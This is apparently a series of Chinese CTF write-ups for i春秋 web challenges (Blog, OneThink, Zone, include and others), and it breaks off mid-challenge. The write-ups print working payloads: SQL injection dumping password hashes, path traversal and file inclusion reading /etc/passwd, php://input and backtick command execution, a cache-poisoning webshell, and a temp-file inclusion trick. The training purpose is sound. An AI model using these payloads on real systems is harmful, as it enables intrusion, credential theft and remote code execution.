登录系统,发现在后台的post模块出,存在kinEditor编辑器,且版本为4.1.10http://0375bc6103e1422db9462ea766cdf740394aadc27dcd41f1.changame.ichunqiu.com/post.php通过百度搜索该编辑器版本的漏洞,发现存在目录遍历漏洞(https://www.jb51.net/hack/367946.html),详细利用方法如下:访问url+/kindeditor/php/file_manager_json.php?path=/,得到网站物理路径 http://0375bc6103e1422db9462ea766cdf740394aadc27dcd41f1.changame.ichunqiu.com/kindeditor/php/file_manager_json.php?path=/ 继续目录遍历,/kindeditor/php/file_manager_json.php?path=../../,也发现系统存在flag.php文件。 http://0375bc6103e1422db9462ea766cdf740394aadc27dcd41f1.changame.ichunqiu.com/kindeditor/php/file_manager_json.php?path=../../ 首先我们测试后台文章编辑post 模块 这里我们先提交一个标题1,内容为1,并抓包,发送请求http://0375bc6103e1422db9462ea766cdf740394aadc27dcd41f1.changame.ichunqiu.com/post.php在页面上正常显示标题1,内容1测试title变量是否存在注入漏洞title参数输入:1' and '1'='1title=1' and '1'='1&content=1页面显示1,1title参数输入1' and '1'='2title=1' and '1'='2&content=1 页面显示0,1 初步推测是个盲注,后面语句正确返回1,后面语句错误返回0 通过分析不难确定此处应是一条insert语句,用以保存用户所写入到数据库中,系统对这个位置过滤得比较严格, order by ,union select 等关键字语句都被过滤了。猜想后台sql执行的语句:INSERT INTO TABLENAME(A,B,C) VALUES($A,$B,$C);我们能控制的变量应该有2到3个,分别是username,title和content接下来就是比较难想的一个注入方法了,初步猜测这里主要有两个思路,因为insert语句本身不会有回显,而网站的报错都被屏蔽掉了,所以布尔盲注明显不能够成立,那么只有: 思路1: select '一句话' into oufile 'xxx.php' 通过数据库将一句话写入xxx.php,然后连webshell.思路2:虽然系统在insert 语句上做了过滤,且insert语句本身没有回显,但是写入的内容会显示在页面上。由于防火墙的存在而不能够使用思路1,由此只能考虑思路2. 首先要猜测字段数,表面上看有username,title,content这三个字段,但不知道有没有其他字段猜测insert语句的值类似于: INSERT INTO TABLENAME(A,B,C) VALUES('username','title','content')先尝试三个字段,报错 title=1' and '1'='2&content=test')# 这里构造的insert语句类似于INSERT INTO TABLENAME(A,B,C) VALUES('test','1' and '1'='2','test')#') #用于注释 这个payload请求后响应页面报错了,说明猜测的insert字段有误,既然不是三个,更不可能是两个,受控制的部分已经有两个了,因此推测insert语句的字段数为4. 尝试四个字段,提交后,显示成功title=1&content=test','X')# 这里构造的insert语句类似于INSERT INTO TABLENAME(A,B,C) VALUES('test','1','test','X')#') #用于注释 说明除了看到的两个字段外,还有一个未知的字段X 第四个未知字段可能是个固定值,我们给它赋值时insert语句是不会有回显的所以我们尝试多条插入,再新建一条插入项,对第四个字段不做赋值,将SQL语句放到第二条插入项中。最终目的是为了通过SQL查询得到admin账户的密码。 首先查询数据库名,得到数据库名为miniblog(我注册的用户名是test) title=1&content=1','1'),('test',(database()),'2 继续查询表名,得到表名为posts和userstitle=1&content=1','1'),('test',(SELECT group_concat(table_name) from information_schema.tables where table_schema=database()),'3 查询users 表中的列名,得到列名为usernmae和 passwordtitle=1&content=1','1'),('test',(SELECT group_concat(column_name) from information_schema.columns where table_name='users'),'4 查询password列中字段内容,从而得到已经存在的admin账户的密码title=1&content=1','1'),('test',(SELECT group_concat(password) from users),'5 得到所有用户名的密码MD5值:dbb616c5d935d8f34c12c291066d6fb7,098f6bcd4621d373cade4e832627b4f6依次MD5解密得到 melody123,test尝试admin/melody123,登陆成功点击进入manager模块,发现?module=存在任意文件包漏洞http://2d0043aafe154f358160960da18dc204a86601ba8ec0451b.changame.ichunqiu.com/blog_manage/manager.php?module=article_manage&name=php尝试文件包含读取flag.php,这里通过php://filter/读取flag.php的base64module=php://filter/read=convert.base64-encode/resource=../flag&name=php http://2d0043aafe154f358160960da18dc204a86601ba8ec0451b.changame.ichunqiu.com/blog_manage/manager.php?module=php://filter/read=convert.base64-encode/resource=../flag&name=php得到:PD9waHAgCidmbGFne2E0NjQ1MTRhLWRiMDctNGE2OC1iZTA3LTYzMDZkMWYzNmRkZX0nOwplY2hvICdmbGFnX2lzX2hlcmUnOwo=解密base64得到:<?php 'flag{a464514a-db07-4a68-be07-6306d1f36dde}';echo 'flag_is_here';最终flag:flag{a464514a-db07-4a68-be07-6306d1f36dde} 题目名称:Blog进阶篇题目内容: Blog赛题是由melody设计的 十二月的百度杯挑战赛上线的是优化难度后的比赛 Blog·进阶篇 则是作者的原题,难度比挑战赛上线了几个梯度。 快来挑战吧! 题目writeup: 根据上题的思路,我们先注册一个test/test账号登录系统,然后再post 模块处,写入标题和内容,并抓包,然后对其进行SQL注入跑出系统用户的密码md5值http://193c17a60b684acb9078bdf03d1daceba129d871f7ed45c6.changame.ichunqiu.com/post.phppost: title=1&content=1','1'),('test',(SELECT group_concat(password) from users),'5 得到用户密码的md5值:3177d917a0053c6161207e733c84356d,098f6bcd4621d373cade4e832627b4f6分别对其进行MD5解密得到:19-10-1997,test尝试admin/19-10-1997,成功登陆系统http://193c17a60b684acb9078bdf03d1daceba129d871f7ed45c6.changame.ichunqiu.com/blog_manage/manager.php?module=article_manage&name=php尝试通过php伪协议文件php://filter进行文件包含,发现是空白的http://193c17a60b684acb9078bdf03d1daceba129d871f7ed45c6.changame.ichunqiu.com/blog_manage/manager.php?module=php://filter/read=convert.base64-encode/resource=../flag&name=php又尝试普通http协议包含robots.txt,可以正常读取其内容,这里注意name为text文件类型。http://193c17a60b684acb9078bdf03d1daceba129d871f7ed45c6.changame.ichunqiu.com/blog_manage/manager.php?module=../robots.txt&name=text 发现php伪协议读取是不能用,php://filter已经失效,文件包含仍然能够执行,是可以被利用。 那么我们可以上传一个shell,用命令执行读取shell,上传点也不难找,这里利用的是一个php对POST上传文件临时保存的特性:php对post过来的文件有一个默认处理流程,即在一个处理周期内(post,response),首先将post过来的文件保存在/tmp文件夹下,文件名为php{0-9A-Za-z}的随机字符,我们可以把shell写到这个随机文件名里,如果文件被php文件本身用到了,则php直接使用/tmp里的这个临时文件,如果没用到或者处理完毕了,则将/tmp下的这个临时文件删除。 也就是说,在正常处理流程下,tmp目录下的这个文件存活周期是一次请求到响应,响应过后,它就会被删除,因为kindeditor那里存在的目录遍历漏洞,导致我们可以查看tmp目录下的文件列表,我们也可以对任一php文件post一个文件过去,使其暂存于tmp目录下,问题就在于,我们还没来得及包含这个文件,它就会在这次请求结束后被删除掉。 如何不让它被删除掉呢?删除和处理请求的都是php,所以我们要让php守护进程产生内存溢出,换言之,使之崩溃,而php自身是不会因为错误直接退出的,它会清空自己的内存堆栈,以便从错误中恢复,这就保证了web服务的正常运转的同时,打断了php对临时文件的处理。 自包含恰巧可以做到这一点,什么是自包含呢? 即: /X.php?include=X.php 这样X.php就会将它本身包含进来,而被包含进来的X.php再次尝试处理url的包含请求时,又将自己包含进来一遍,这就形成了无穷递归,递归会导致爆栈,使php无法进行此次请求的后续处理,也就是删除/tmp目录中我们通过post强行上传的临时文件。 整理下php对一个post文件请求的正常处理流程: 1.manager.php接收一个Post请求,php在/tmp目录下创建我们post的文件 2.manager.php处理请求url,包含一个文件 3.manager.php进行文件处理 4.php删除/tmp目录下的临时文件于是我们本地构造一个payload,通过这个payload递送一个post请求包含一个文件的同时使manager.php自包含溢出崩溃:<!DOCTYPE html> <html> <head lang="en"> <meta charset="UTF-8"> <title>上传文件</title> </head> <body> <form action="http://a12e072c06b741b289901d33abd43de6f42904cf42ad4814.changame.ichunqiu.com/blog_manage/manager.php?module=manager&name=php" method="post" enctype="multipart/form-data"> <input type="file" name="file"/> <input type="submit" value="提交"> </form> </body> </html>注意这里出现的两个manager.php,这里是防止利用文件包含写shell时生成的文件被删除,原理是自包含递归爆内存…简单地说,无穷自包含爆栈使其崩溃,从而影响他的文件删除功能.用火狐浏览器打开,并用admin账号登录 ,然后上传一个随意文件,如test.txttext.txt内容:<?phpphpinfo();?>上传test.txt文件成功后,下图为自包含请求返回的效果。(需要等待1分钟左右) 通过目录遍历漏洞,查看上传到tmp目录下的文件名http://a12e072c06b741b289901d33abd43de6f42904cf42ad4814.changame.ichunqiu.com//kindeditor/php/file_manager_json.php?path=../../../../../tmp/根据时间来看,我们上传的文件名为:php8ZCgvn下面是任意文件包含/tmp目录下的php8ZCgvn文件,可以看到内容可以被php执行。注意name的文件类型为phppass或者text,这里是绕过系统的检查 http://a12e072c06b741b289901d33abd43de6f42904cf42ad4814.changame.ichunqiu.com/blog_manage/manager.php?module=../../../../../tmp/php8ZCgvn&name=phppass 尝试上传几个一句话webshell,但是都不能正常执行,发现phpinfo里已经用disable_functions禁用了大部分函数 仔细分析后,发现copy函数没有被禁用,且/var/www/html目录被设置为了不可写,于是想到将flag.php利用copy函数copy成一个txt文件,那么就可以像robots.txt一样直接被包含读取上传文件bk.txt:<?phpcopy("/var/www/html/flag.php","/tmp/flag.txt");show_source("/tmp/flag.txt");//注意要用到show_source函数显示源码,否则会被解析,从下面也可以看到,flag的内容是在注释当中的?>这里上传bk.txt成功上传文件通过目录遍历漏洞,查看上传到tmp目录下的文件名http://a12e072c06b741b289901d33abd43de6f42904cf42ad4814.changame.ichunqiu.com//kindeditor/php/file_manager_json.php?path=../../../../../tmp/ 得到上传的文件名:phphdj6P4 上传上述文件后用manager.php进行文件包含,即可在/tmp目录下看到flag.txt的内容:http://a12e072c06b741b289901d33abd43de6f42904cf42ad4814.changame.ichunqiu.com/blog_manage/manager.php?module=../../../../../tmp/phphdj6P4&name=phppass最终flag:flag{f4025949-153b-47d9-b9fa-febd16a4ad34} 题目名称:时间题目内容: 时间是宝贵的。(i春秋waf可能会ban请求过快的玩家,请自行解决) 题目writeup:http://fef091866ad246deb05cccc6676b63bbcba1e152e8e84f32.changame.ichunqiu.com/ PHP源码为:<?php header("content-type:text/html;charset=utf-8"); '天下武功唯快不破'; setcookie('token','hello'); show_source(__FILE__); //show_source() :函数对文件进行语法高亮显示 if ($_COOKIE['token']=='hello'){ // 取COOKIE里面token的值 如果等于 hello,就执行下面的代码 $txt = file_get_contents('flag.php'); //file_get_contents() 函数把’flag.php‘文件读入到$txt变量中 $filename = 'u/'.md5(mt_rand(1,1000)).'.txt'; //mt_rand()是取随机数的,与rand()区别是比rand()快4倍,而且如果mt_rand(1,10)的话1和10都会取得到的 // 通过md5对mt_rand取值的加密然后通过拼接'u/'和'.txt'得到文件的名字存入到$filename中 file_put_contents($filename,$txt); //file_put_contents() 函数把$txt存的内容写入到$filename的文件中取 sleep(10); //休眠10秒 unlink($filename); //unlink() 函数删除文件 }说明我们访问这个网站的时候,在网站目录里面会随机生成一个文件包含flag.php的内容,但是我们只有10秒的时间取访问它,10秒过后会自动删除。 所有我们来跑目录,这里我们需要把所有会出现的文件名的可能性都列出来当成字典来跑. MD5加密python脚本: hash = hashlib.md5() hash.update('加密的文本'.encode('utf-8')) print(hash.hexdigest()) 参考:https://www.cnblogs.com/wang-yc/p/5616663.html 下面使用python脚本生成随机名的字典: import hashlib import requests file = open("data.txt",'w+') for i in range(1,1001): m = hashlib.md5() m.update(str(i).encode()) mid = m.hexdigest() url = 'u/'+mid+'.txt' file.write(url+'\n') file.close() 生成的字典如下:先刷新下网页,然后通过御剑对网站的URL链接进行FUZZ,注意网址后面需要加/,线程最好是30,,扫描出来的链接地址并打开网页,总共需要的时间在10秒内需要完成。注意:若超过十秒 即使已经扫描到了也会访问不到 因为文件已经被删除 最终flag:flag{a157eb5d-aa59-43b0-95ae-4994a1794749} 题目名称:象棋 题目内容:开心的玩游戏吧 题目witeup: 启动题目场景,获得靶场网站,访问网站,发现是一场象棋游戏 对其查看源代码,发现js/[abcmlyx]{2}ctf[0-9]{3}.js是有问题,该文件名是正则表达式 打开该文件,发现无法访问,初步判断该js文件含有flag相关的提示。可以看到题目给出的js文件名并不正确,给出的应该是包含正确文件名的正则表达式。开头两个字符由“abcmlyx”中选择,之后接“ctf",然后是3位数字+”.js 那么爆破出正确文件名,js文件内容即为flag !/usr/bin/python # coding=utf-8 # Author=haya import urllib2 from multiprocessing.dummy import Pool as ThreadPool urllist = [] re1 = 'myx' re2 = '012346789' url = 'http://d0fdd193e2fa40ab9287e6c40341ef4fc310ea9b723f4b84.game.ichunqiu.com/js/' pool = ThreadPool() def url_list(): for i in re1: for j in re1: for k in re2: for l in re2: for m in re2: urllist.append(url+i+j+'ctf'+k+l+m+'.js') return urllist def url_open(url): try: result = urllib2.urlopen(url).read() if '404' not in result: print url+result except: pass def main(): urllist = url_list() pool.map(url_open, urllist) pool.close() pool.join() if __name__ == '__main__': main() 或者通过python脚本生成JS字典key1 = "abcmlyx" key2 = "0123456789" file = open("url.txt", "w+") for a in key1: for b in key1: for c in key2: for d in key2: for e in key2: url = "/js/" + a + b + "ctf" + str(c) + str(d) + str(e) + ".js" + "\n" file.write(url) 通过御剑目录扫描工具对其JS字典进行爆破访问JS文件最终得到flag内容http://96e86ebf651e46c3995caf7ee93dda4e5b2b46738063401f.changame.ichunqiu.com/js/myctf801.js 最终flag:flag{1f330869-02c0-41ca-94ff-3276a5efae04} 题目名称:爆破-2题目内容:flag不在变量中题目writeup:启动题目场景,获得靶场网站,访问网站,发现一段PHP代码http://665970648b2a408c954b623cdde9536dd68b035fb67b49fa.changame.ichunqiu.com/PHP代码:<?php include "flag.php"; $a = @$_REQUEST['hello']; eval( "var_dump($a);"); show_source(__FILE__);var_dump()会返回数据变量的类型和值 eval()会把字符串当作php代码 方法一:通过file_get_contents()函数读取由第一步可知,flag不在变量中 猜测flag在文件中,使用file_get_contents() 函数,其作用为把整个flag.php文件读入一个字符串中.查看源代码发现flagview-source:http://665970648b2a408c954b623cdde9536dd68b035fb67b49fa.changame.ichunqiu.com/?hello=file_get_contents(%27flag.php%27) 方法二:通过file()函数读取 题目内容显示flag不在变量中,可以推测flag在文件中,使用file函数进行文件包含 ?hello=file("flag.php"),获得flag.php的内容. http://665970648b2a408c954b623cdde9536dd68b035fb67b49fa.changame.ichunqiu.com/?hello=file(%22flag.php%22)file() 函数把整个文件读入一个数组中,并 将文件作为一个数组返回。数组中的每个单元都是文件中相应的一行,包括换行符在内。如果失败,则返回 false。方法三:通过show_source()函数读取 ?hello=1);show_source('flag.php');var_dump( eval语句变成:eval("var_dump(1);show_source(%27flag.php%27);var_dump();") show_source() 函数对文件进行语法高亮显示。本函数是 highlight_file() 的别名。 注意:通过该函数在对eval()进行截断重组时,要保持eval()函数内php代码的正确性。本例中使用echo(1来补全代码,也可使用//注释掉多余的代码。 构造:hello=1);show_source('flag.php');echo(1或hello=1);highlight_file('flag.php');echo(1 eval语句为:eval( "var_dump(1);show_source('flag.php');echo(1);");,可得flag。 http://665970648b2a408c954b623cdde9536dd68b035fb67b49fa.changame.ichunqiu.com/?hello=1);show_source(%27flag.php%27);var_dump(方法四:通过Linux命令读取 ?hello=);echo%20`cat%20./flag.php`;// eval语句变成:eval("var_dump();echo `cat ./flag.php`;//"); cat Linux中查看全部文件 ./ 执行脚本 http://665970648b2a408c954b623cdde9536dd68b035fb67b49fa.changame.ichunqiu.com/?hello=);echo%20`cat%20./flag.php`;//查看源代码发现flagview-source:http://665970648b2a408c954b623cdde9536dd68b035fb67b49fa.changame.ichunqiu.com/?hello=);echo%20`cat%20./flag.php`;//最终flag:flag{a53a7b5d-aefc-4052-8bc4-9123d217fb33} 题目名称:爆破-1题目内容:flag就在某六位变量中 writeup:启动题目场景,获得靶场网站,访问网站,发现一段php代码http://54fbed0946d44bd2a402cab3e407aa034dd05f1886b34848.changame.ichunqiu.com/ php源码:<?php include "flag.php"; $a = @$_REQUEST['hello']; if(!preg_match('/^\w*$/',$a )){//正则表达式^匹配一行的开头,$表示结束。\w表示匹配包括下划线的任何单词字符,等价于'[A-Za-z0-9_]'。*号:匹配前面的子表达式零次或多次。 die('ERROR'); } eval("var_dump($$a);");//var_dump — 打印变量的相关信息 show_source(__FILE__);//__FILE__当前运行文件的完整路径和文件名。 ?>这个代码的作用是如果匹配正则表达式/^\w*$/,就打印变量$$a $a是hello,$$a是六位变量$hello两个//表示开始和结束 ^表示开始字符串 $表示结束字符串 \w表示包含【a-z,A-Z, _ , 0-9】 由于$a在函数中,所以函数之外无法访问。如果要访问,将hello修改为超全局变量GLOBALS。 在URL后加?hello=GLOBALS,将参数hello修改为Globals 实际执行语句:eval("var_dump($$a);") eval("var_dump($hello);") eval("var_dump($GLOBALS);")$GLOBALS的作用:引用全局作用域中可用的全部变量。 这样就会打印出当前定义的所有变量,也包括 include 的文件中的变量,flag 也存在在这些变量中。因此,post一个参数hello=GLOBALS 把所有变量都 dump 出来 http://54fbed0946d44bd2a402cab3e407aa034dd05f1886b34848.changame.ichunqiu.com/?hello=GLOBALS最终flag:flag{d2dc8746-f90d-4844-9436-105df210c437} 题目名称:爆破-3题目内容:这个真的是爆破题目writeup:启动题目场景,获得靶场网站,访问网站,网站显示了一段php代码http://176216c114b240f2ade5d20646afe7ab01e55eb32f4f48af.changame.ichunqiu.com/ php 代码:<?php error_reporting(0); session_start(); require('./flag.php'); if(!isset($_SESSION['nums'])){ $_SESSION['nums'] = 0; $_SESSION['time'] = time(); $_SESSION['whoami'] = 'ea'; } if($_SESSION['time']+120<time()){ session_destroy(); } $value = $_REQUEST['value']; $str_rand = range('a', 'z'); $str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)]; if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){ $_SESSION['nums']++; $_SESSION['whoami'] = $str_rands; echo $str_rands; } if($_SESSION['nums']>=10){ echo $flag; } show_source(__FILE__); ?> 通过代审计可以得到信息 1、 有一个时间限制120(不清楚是分钟还是秒,不过都不影响,时间都挺充足) 2、 whoami和nums的参数会改变(['nums']++; ['whoami'] = $str_rands;) 3、 由==可看出为弱判断类型,可以用数组进行绕过,md5()==0 4.根据获取到的信息构造payload ?value[]=ea 5.代码中提到需要提交大于10次,10次过后得到flag 简单的说,就是一开始$_SESSION[‘nums’]是0,且$_SESSION[‘whoami’]是ea。每次传入一个value,如果它的前两位和whoami一样,而且要求substr(md5($value),5,4)==0, 这样nums就可以加一,$_SESSION['whoami]会再一次随机。但是这个值会被打印出来。 后面的弱类型比较我们可以利用md5不支持数组这个漏洞,如果传入md5函数的是一个数组,它会返回NULL。而NULL和0进行弱类型比较是‘相等的’,这样就可以成功绕过 也就是第一次,传入变量?value[]=ea,因此value[0]=ea 与whoami想等,所以nums++ (如果value[]=ea&value=es的话,value[0].value[1]=eaes) 然后随意A-Z+A-Z,写个脚本,把显示出来的两个随机衣服在value[]=xx传值进去,直到输出flag (千万注意带 session,保持一个回话) 先设置初始值nums=0,time是当前时间,whoami=ea。当whoami=value时,num+1,whoami=$str_rands,循环。nums>=10时,打印flag。120s后会话结束,由于时间120秒,完全可以手工做10次,即可得到flag。 方法:先设置数组value[]=ea ?value[]=ea,得到两个字母,重新给value[]赋值,重复10次,得到flag 使用python脚本获取flag:import requests url = "http://176216c114b240f2ade5d20646afe7ab01e55eb32f4f48af.changame.ichunqiu.com/?value[]=ea" al = ['abcdefghijklmnopqrstuvwxyz'] s = requests.session() r = s.get(url) for i in range(20): url = "http://176216c114b240f2ade5d20646afe7ab01e55eb32f4f48af.changame.ichunqiu.com/?value[]=" + r.content[0:2] r = s.get(url) print r.content或者import requests url='http://176216c114b240f2ade5d20646afe7ab01e55eb32f4f48af.changame.ichunqiu.com/' session=requests.Session() html=session.get(url+'?value[]=ea').text for i in range(10): html=session.get(url+'?value[]='+ html[0:2]).text print(html)最终得到flag:flag{a88328f0-3bd7-4716-8b40-2d2722a96ec7} 题目名称:include 题目内容:没错!就是文件包含漏洞 题目writeup: 启动题目场景,获得靶场网站,访问网站,发现是一个phpinfo函数显示的php配置信息页面 http://ea072f427dc1435a8c8386c81e62c9948e892d4a196a4bd4.changame.ichunqiu.com/ 根据题目内容,既然是文件包含,我们查看文件包含allow_url_include函数,发现是开启状态,那么可以用php://input伪协议进行文件包含且网站也显示了一段PHP代码<?php show_source(__FILE__); if(isset($_REQUEST['path'])){ include($_REQUEST['path']); }else{ include('phpinfo.php'); } 通过代码分析,文件包含的参数变量为path,可文件包含读取/etc/passwd内容http://ea072f427dc1435a8c8386c81e62c9948e892d4a196a4bd4.changame.ichunqiu.com?path=../../../etc/passwd通过php;//input伪协议构造post数据包执行php列出网站目录文件的代码,发现列出的文件dle345aae.php和flag有很大关联性。http://ea072f427dc1435a8c8386c81e62c9948e892d4a196a4bd4.changame.ichunqiu.com?path=php://inputpost:<?php echo system('ls');?> 利用?path=/var/www/html/dle345aae.php包含dle345aae.php文件并读取其内容, 但是页面和源码没有任何输出http://ea072f427dc1435a8c8386c81e62c9948e892d4a196a4bd4.changame.ichunqiu.com/?path=/var/www/html/dle345aae.php使用php://filter协议查看dle345aae.php文件的内容,因为PHP文件不能直接显示内容所以先base64显示出来,然后再解码。 php://filter 可以用于读取文件源代码,有的时候代码输出会被执行,可以使用base64加密的方式输出。 使用?path=php://filter/read=convert.base64-encode/resource=dle345aae.php读取文件dle345aae.php base64内容,得到base64的falg值 http://ea072f427dc1435a8c8386c81e62c9948e892d4a196a4bd4.changame.ichunqiu.com/?path=php://filter/read=convert.base64-encode/resource=dle345aae.php 得到base64的flag值:PD9waHAgCiRmbGFnPSJmbGFnezk4NjYwZDIyLTNiY2ItNGUwMC1iMGJiLTc2NGQ1NzI4YzQxOH0iOwo=解密base64得到内容:<?php $flag="flag{98660d22-3bcb-4e00-b0bb-764d5728c418}";最终flag:flag{98660d22-3bcb-4e00-b0bb-764d5728c418} 题目名称:Zone 题目内容:网站要上线了,还没测试呢,怎么办 题目writeup: 启动题目场景,获得靶场网站,访问网站发现是一个登陆页面,这里爆破无果。 http://37f676bc7c03443ebe20d9a4b8fbd8d60dd58a2b9a2d40e8.changame.ichunqiu.com/login.php点击Mini-Zone,并通过burpsuit抓包,发现 cookie中的login=0有点特别,猜测修改其值,可逻辑绕过后台登录。 那么我们尝试将cookie 中login修改为1,并发送数据,可成功看到登录后台主页 先点击Mini-Zone链接,然后拦截抓包,并将修改为login=1,forward释放拦截包,即可绕过后台登录。可以看到成功等到后台点击后台管理页面中Manage链接,然后修改为login=1,forward释放拦截包,可跳转到一个新的链接地址。该链接地址为:http://37f676bc7c03443ebe20d9a4b8fbd8d60dd58a2b9a2d40e8.changame.ichunqiu.com/manages/admin.php?module=index&name=php该链接地址中的?module=参数看起来是存在任意文件包含漏洞这里通过文件包含读取etc/passwd内容,发现无法读取,猜测../可能被过滤了。http://37f676bc7c03443ebe20d9a4b8fbd8d60dd58a2b9a2d40e8.changame.ichunqiu.com/manages/admin.php?module=../../../etc/passwd&name=php输入/manages/admin.php?module=ind../ex&name=php发现页面正常显示后台内容,于是猜想../被过滤了http://37f676bc7c03443ebe20d9a4b8fbd8d60dd58a2b9a2d40e8.changame.ichunqiu.com/manages/admin.php?module=ind../ex&name=php所以将../改为..././,于是访问/manages/admin.php?module=..././..././..././etc/passwd&name=txt,可以正常读取/etc/passwd内容http://37f676bc7c03443ebe20d9a4b8fbd8d60dd58a2b9a2d40e8.changame.ichunqiu.com/manages/admin.php?module=..././..././..././etc/passwd&name=txt访问不存在的目录,发现该系统中间件服务器为nginxhttp://37f676bc7c03443ebe20d9a4b8fbd8d60dd58a2b9a2d40e8.changame.ichunqiu.com/11linux下nginx的默认配置路径为:/etc/nginx/nginx.conf通过文件包含读取nginx配置文件/etc/nginx/nginx.conf内容,可以正常读取,且包含了网站的物理路径配置文件名,文件名为sites-enabled/defaulthttp://37f676bc7c03443ebe20d9a4b8fbd8d60dd58a2b9a2d40e8.changame.ichunqiu.com/manages/admin.php?module=..././..././..././etc/nginx/nginx.conf&name=txt通过文件包含读取nginx网站物理路径配置文件sites-enabled/default内容,该配置文件默认路径为:/etc/nginx/sites-enabled/default。可正常读取其内容,且网站的物理路径为/var/www/html以及autoindex on开启了目录预览功能,可目录遍历/online-movies目录。http://37f676bc7c03443ebe20d9a4b8fbd8d60dd58a2b9a2d40e8.changame.ichunqiu.com/manages/admin.php?module=..././..././..././etc/nginx/sites-enabled/default&name=txt遍历/online-movies目录http://37f676bc7c03443ebe20d9a4b8fbd8d60dd58a2b9a2d40e8.changame.ichunqiu.com/online-movies/使用../进行上级目录遍历,可遍历到/online-movies../var/www/目录,但是点击html目录就下载 index.php/online-movies被替换成/online-movies//online-movies../被替换成/online-movies/../http://37f676bc7c03443ebe20d9a4b8fbd8d60dd58a2b9a2d40e8.changame.ichunqiu.com/online-movies../var/www/这时候我们根据配置文件里的其他信息可以知道/var/www/html是根目录访问robost.txt.发现flag.php文件可以访问,那么flag就存在flag.php中,且flag.php保存在默认根目录/var/www/html下因此我们访问/var/www/html/flag.php就可以得到flag.php源码,如果是文件就可以直接被下载。t本地通过记事本可以直接查看flag的内容:http://37f676bc7c03443ebe20d9a4b8fbd8d60dd58a2b9a2d40e8.changame.ichunqiu.com/online-movies../var/www/html/flag.php最终flag:flag{7d5081e9-8c46-44d8-92d8-20357d5862f0} 题目名称:OneThink题目内容:利用已知的漏洞拿shell吧题目writeup:启动题目场景,获得靶场网站,访问网站,可以看到该网站的CMS框架是oneThink1.0 http://8887503b1f8f45d08800178afa836ba11670a380fd1f40f4.changame.ichunqiu.com/根据题目提示是利用已知的漏洞拿shell,于是搜索onethink1.0漏洞,找到OneThink CMS的缓存漏洞的分析在注册页面,首先注册一个账号%0aphpinfo();# http://8887503b1f8f45d08800178afa836ba11670a380fd1f40f4.changame.ichunqiu.com/index.php?s=/home/user/register.html 通过bupsuit对其抓包拦截并将%0a进行二次url decode,以换行了为准,这里%oa是换行符的意思,缓存到文件的时候起换行作用,然后点击forward,释放拦截可以看到成功注册(需要注意验证码填入正确)在登录页面输入用户名%0aphpinfo();# 密码123456登录系统,并对其进行抓包。然后将%0a进行二次url decode,并点击foreard,成功登录系统 访问Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php路径文件,会发现phpinfo()被解析 ,文件名是固定不变的。缓存内容放到MD5(sys_active_user_list).php中。http://8887503b1f8f45d08800178afa836ba11670a380fd1f40f4.changame.ichunqiu.com/Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php 就是注册个账号为:%0a$a=$_GET[a];//%0aecho `$a`;// 就可以getshell,但是提示注册长度最多16个字符 所以分别注册2个账号: 账号一:%0a$a=$_GET[a];// 账号二:%0aecho `$a`;// 注册账号%0a$a=$_GET[a];//,并抓包,对%0a进行2次url编码,然后forward 注册账号%0aecho `$a`;//,并抓包,对%0a进行2次url编码,然后forward 登录%0a$a=$_GET[a];并抓包,对%0a进行2次url编码,然后forward 登录%0aecho `$a`;//并抓包,对%0a进行2次url编码,然后forward 访问Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php?a=ls ../../目录遍历并查看源码来查找flag,发现flag 在../../flag.php中 view-source:http://8887503b1f8f45d08800178afa836ba11670a380fd1f40f4.changame.ichunqiu.com/Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php?a=ls%20%20../../ 访问Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php?a=cat ../../flag.php 获取flag view-source:http://8887503b1f8f45d08800178afa836ba11670a380fd1f40f4.changame.ichunqiu.com/Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php?a=cat%20../../flag.php 最终flag:flag{eb2966bf-be7f-4b26-a40a-be39d73d775c} 题目名称:Upload题目内容:来来来,都是套路,贼简单题目writeup:启动题目场景获得靶场网站,访问网站,发现页面内容显示"should be a fast man"http://353031f6ec9345fea9837b173f8365ed11320213f0614abd.changame.ichunqiu.com/对其主页查看源码,注释中显示需要提交post访问且参数为ichunqiu。view-source:http://353031f6ec9345fea9837b173f8365ed11320213f0614abd.changame.ichunqiu.com/ 在firefox浏览器中构造post参数:ichunqiu=111(参数任意)然后对其buspuit抓包,发送请求,发现响应包的http头部中包含flag关键字 但是每次发送相同的post数据包,响应头中的flag值不一样 对其flag的base64字符进行解密,发现解密后的字符都是不相同根据上文中响应页面内容中显示be a fast man,就是说我们请求的速度不够快,因此不能获取到正确的值。编写脚本获得:import base64,requests def main(): a = requests.session() b = a.get("http://353031f6ec9345fea9837b173f8365ed11320213f0614abd.changame.ichunqiu.com/") key1 = b.headers["flag"] c = base64.b64decode(key1) d = str(c).split(':') key = base64.b64decode(d[1]) body = {"ichunqiu":key} f = a.post("http://353031f6ec9345fea9837b173f8365ed11320213f0614abd.changame.ichunqiu.com/",data=body) print f.text if __name__ == '__main__': main() 得到正确值:Path:3712901a08bb58557943ca31f3487b7d根据得到的值,可以看出这个值为路径地址3712901a08bb58557943ca31f3487b7d。于是访问3712901a08bb58557943ca31f3487b7d路径,发现页面内容显示一个超链接“welcome@QAQ"http://353031f6ec9345fea9837b173f8365ed11320213f0614abd.changame.ichunqiu.com/3712901a08bb58557943ca31f3487b7d点击超链接,显示了一个登陆页面http://353031f6ec9345fea9837b173f8365ed11320213f0614abd.changame.ichunqiu.com/3712901a08bb58557943ca31f3487b7d/action.php?action=login通过dirsearch.py对网站根目录进行目录扫描,只发现主页和登录页面。python3 dirsearch.py -u http://353031f6ec9345fea9837b173f8365ed11320213f0614abd.changame.ichunqiu.com/ 再次通过direarch.py对网站的3712901a08bb58557943ca31f3487b7d进行目录扫描,发现存在.svn敏感信息泄露python3 dirsearch.py -u http://353031f6ec9345fea9837b173f8365ed11320213f0614abd.changame.ichunqiu.com/3712901a08bb58557943ca31f3487b7d/通过snv图像化下载工具,发现并没有可下载的,尝试访问svn目录下存在的默认wc.db,可直接访问http://353031f6ec9345fea9837b173f8365ed11320213f0614abd.changame.ichunqiu.com/3712901a08bb58557943ca31f3487b7d/.svn/wc.db得到用户名为:md5(HEL1OW10rDEvery0n3)=8638d5263ab0d3face193725c23ce095观察登录页面得知 captcha 经过 MD5 之后的前六位为:159f69, 